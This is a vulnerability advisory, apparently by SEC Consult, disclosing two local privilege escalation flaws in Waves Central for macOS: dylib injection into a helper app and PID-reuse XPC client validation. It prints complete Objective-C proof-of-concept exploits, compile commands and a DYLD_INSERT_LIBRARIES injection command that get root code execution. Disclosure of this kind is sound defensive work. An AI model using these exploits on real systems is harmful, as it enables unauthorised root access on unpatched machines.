Management summary
Waves Central was found to be vulnerable to Local Privilege Escalation via multiple vectors. The privileged helper utilized by Waves Central via XPC did not perform secure client validation. A DYLIB Injection vulnerability allowed to inject code into a validly signed binary, leading to an attacker being able to connect to the privileged helper.
Vendor description
“Waves is the world’s leading developer of audio plugins and signal processors for the professional and consumer electronics audio markets. Heard on hit records, major motion pictures, and popular video games worldwide, Waves’ cutting-edge software and hardware processors are used in every aspect of audio production, from tracking to mixing to mastering, broadcast, live sound, and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS, and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.”
Source: https://www.waves.com/about-us
Business recommendation
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
Waves Central provides a "PrivilegedHelperTool" during installation. It uses the "InstlHelperApplication" located at the following path to connect to the privileged helper tool via XPC:
/Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/It was found that the "InstlHelperApplication" was signed with the entitlements "com.apple.security.cs.allow-dyld-environment-variables" and "com.apple.security.cs.disable-library-validation" which together allow to inject unsigned libraries into the process and therefore inheriting the code signature.
% codesign -dvv --entitlements - /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Executable=/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Identifier=com.waves.central.InstlHelperApplication
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded
Signature size=8956
Authority=Developer ID Application: Waves Inc (GT6E3XD798)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=12.02.2023 at 19:37:53
Info.plist entries=32
TeamIdentifier=GT6E3XD798
Runtime Version=11.1.0
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=200
[Dict]
[Key] com.apple.security.inherit
[Value]
[Bool] true
[Key] com.apple.security.network.client
[Value]
[Bool] true
[Key] com.apple.security.network.server
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.app-scope
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-library-validation
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.document-scope
[Value]
[Bool] true
[Key] com.apple.security.files.user-selected.read-write
[Value]
[Bool] true
[Key] com.apple.security.personal-information.addressbook
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-dyld-environment-variables
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-unsigned-executable-memory
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-executable-page-protection
[Value]
[Bool] trueBy inheriting the code signature an attacker, who injects a malicious library into the application, is able to abuse the signature of the InstlHelperApplication to connect to the privileged helper tool via its exposed mach service "com.waves.central.InstlHelper".
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
It was found that the XPC service "com.waves.central.InstlHelper", offered by the privileged helper, uses the connecting client's PID to check its code signature. This is insecure and can be attacked using a PID reuse attack, which will trick the service into thinking the connecting client has a valid code signature.
Proof of concept
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
The attacker can abuse the function "executeIrlFileWithPath" offered by the privileged helper to get code execution as root. To demonstrate this the following dynamic library has been developed. After loading the library, "executeIrlFileWithPath" is triggered to execute /tmp/lol which is basically a shell script:
#import <Foundation/Foundation.h>
//gcc -dynamiclib name
#include <stdio.h>
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion: (__C.NSNumber) -> ()) -> ()
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
[[NSRunLoop currentRunLoop] run];
} This code can be compiled using the following command:
clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm After loading the library, /tmp/lol is created as described above:
cat /tmp/lol
/bin/bash -c "touch /etc/pwnedbytmp"It can then be loaded into the injectable XPC client InstlHelperApplication:
DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplicationFigure 1: Proof of concept for local privilege escalation to root
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
To exploit this issue an attacker can abuse the insecure client validation via PID to gain access to the corresponding NSXPC functions via XPC. The "executeIrlFileWithPath" function can be exploited to gain code execution as root. The following Objective C PoC code was created:
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define BINARY "/Applications/Waves Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
@end
void child() {
// send the XPC messages
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}This can be compiled using gcc with the following command:
gcc -o exploit_waves_pid -framework Foundation exploit_pid.mAfter creating the file /tmp/lol accordingly the binary can be run and the helper will execute /tmp/lol as root.
Vulnerable / tested versions
The following version has been tested which was the latest version available at the time of the test:
- 16.1.6.244088
